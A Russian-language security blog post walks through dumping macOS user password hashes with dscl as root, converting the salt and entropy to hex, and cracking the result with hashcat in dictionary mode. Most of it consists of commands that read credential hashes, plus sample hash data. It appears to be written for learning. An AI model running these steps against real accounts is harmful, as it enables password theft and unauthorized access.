maikeruУчусь информационной безопасности, пишу статьиmaikeruhttps://teletype.in/atom/maikeru2026-10-24T06:54:51.829Zmaikeru:fUEghCrXlBDЗахват и взлом хешей MacOs2023-01-27T17:45:43.447Z2023-01-27T17:48:57.070Z<img src="https://img3.teletype.in/files/6f/be/6fbe7eab-886a-4e57-b14c-3a428e9f09ed.png">На кратком примере хочу показать как злоумышленник может получить хэши с компьютера MacOs, преобразовать их в формат удобный для hashcat для последующего подбора по словарю.
<p id="m7OF">На кратком примере хочу показать как злоумышленник может получить хэши с компьютера MacOs, преобразовать их в формат удобный для hashcat для последующего подбора по словарю.</p>
<h2 id="SBmv">Локальная служба каталогов</h2>
<p id="7htN">Хэши учетный записей MacOS хранятся в локальной службе каталогов. В новых версиях SIP (защита целостности системы) не позволяет root получить прямой доступ к файлам.</p>
<p id="9ngV">Для обхода этой защиты используется <code>dscl</code> Directory Service command line utility (Утилита командной строки службы каталогов). В качестве root пользователя можно прочитать информацию других учетных записей.</p>
<section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
<p id="SLNt"><code>sudo dscl . -read /Users/vv</code></p>
</section>
<figure id="6CIW" class="m_original">
<img src="https://img3.teletype.in/files/6f/be/6fbe7eab-886a-4e57-b14c-3a428e9f09ed.png" width="2560" />
<figcaption>Пример вывода в консоль</figcaption>
</figure>
<h2 id="LX0R">Получение хешей</h2>
<p id="W7uu">Чтобы получить только хэш, можно выполнить команду:</p>
<section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
<p id="5JQ5"><code>sudo dscl . -read /Users/vv dsAttrTypeNative:ShadowHashData</code></p>
</section>
<p id="zoiE">Но это мало что даст, поэтому необходимо преобразовать голые данные в нормальный вид специальной командой:</p>
<section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
<p id="tXVy"><code>sudo dscl . -read /Users/vv dsAttrTypeNative:ShadowHashData | tail -n 1 | tr -dc '0-9a-f' | xxd -p -r | plutil -convert xml1 - -o -</code></p>
</section>
<figure id="eGeL" class="m_original">
<img src="https://img4.teletype.in/files/3f/72/3f729310-e5c1-4ee1-8a0c-208349c08cd2.png" width="2560" />
<figcaption>Вывод команды в консоли</figcaption>
</figure>
<p id="ZAH4">Теперь следующая цель это преобразование данных в шестнадцатеричное представление.</p>
<p id="mkLz">Для <code>salt</code> это делает просто:</p>
<section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
<p id="EbHW"><code>echo tjgLeEszPoypyM/YVQfV2QGoY3R45itDmPS0SEbWuuE= | base64 -D | xxd -p | tr -d \\n > salt.txt</code></p>
</section>
<p id="6Sit">Для <code>entropy</code> нужно сделать практически тоже самое, но после декодирования base64, нужны будут только первые 64 байта или 512 бит. </p>
<section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
<p id="UZmI"><code>echo "lKbKQTnIToq9HehWtapdqfvWn+UPSuIozxRJdH/E/88O6qkQEMc1bLCDEUf/O8LiuLVzAoM1rJAiXEbKdgU2+GhFNvWmO3kyCSjJwUkDi9pbp04Cky5KHxrM3+uLHYFwXSq5tpxsUbTptQ4VCpOzifwf9XKq8yKvR+mDG7WoFXs=" | base64 -d | head -c 64 | xxd -p | tr -d \\n > entropy.txt</code></p>
</section>
<h2 id="l9Jw">Использование Hashcat для подбора пароля</h2>
<p id="9EiG">Для удобства можно создать текстовый файл hashcat, для этого нужно объединить найденные хэш данные в одну строку.</p>
<section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
<p id="DCrw">$ml$<iterations(integer)>$<salt(hex)>$<entropy(hex)></p>
</section>
<p id="V1Y3">В нашем примере это:</p>
<section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
<p id="e9fm">$ml$147058$b6380b784b333e8ca9c8cfd85507d5d901a8637478e62b4398f4b44846d6bae1$94a6ca4139c84e8abd1de856b5aa5da9fbd69fe50f4ae228cf1449747fc4ffcf0eeaa91010c7356cb0831147ff3bc2e2b8b573028335ac90225c46ca760536f8</p>
</section>
<p id="vKWi">Сохраните эту строку в файл с именем hash.txt и используйте его в <code>hashcat</code>. Теперь можно пройтись по хэшу словарем:</p>
<section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
<p id="sbTL"><code>hascat -m 7100 hash.txt wordlist.txt</code></p>
</section>
<figure id="FYGX" class="m_original">
<img src="https://img2.teletype.in/files/9f/7e/9f7ecdb9-6a84-41aa-a722-0a52e9581748.png" width="906" />
<figcaption>Вывод команды</figcaption>
</figure>
<p id="fAJZ">Пароль успешно подобран! Результатом будет подобранный пароль <code>pass123</code>.</p>
<h2 id="XDIS">Полезные ссылки</h2>
<p id="3cuf">Полезные репозитории:</p>
<p id="u1jS"><a href="https://github.com/octomagon/davegrohl" target="_blank">https://github.com/octomagon/davegrohl</a></p>
<p id="K1LO">При подготовки этой статьи использовались следующие ресурсы:</p>
<p id="xZbU"><a href="https://embracethered.com/blog/posts/2022/grabbing-and-cracking-macos-hashes/" target="_blank">https://embracethered.com/blog/posts/2022/grabbing-and-cracking-macos-hashes/</a></p>
<p id="0Avp"><a href="https://apple.stackexchange.com/questions/220729/what-type-of-hash-are-a-macs-password-stored-in/220863" target="_blank">https://apple.stackexchange.com/questions/220729/what-type-of-hash-are-a-macs-password-stored-in/220863</a></p>
<p id="LdbV"><a href="https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2" target="_blank">https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2</a></p>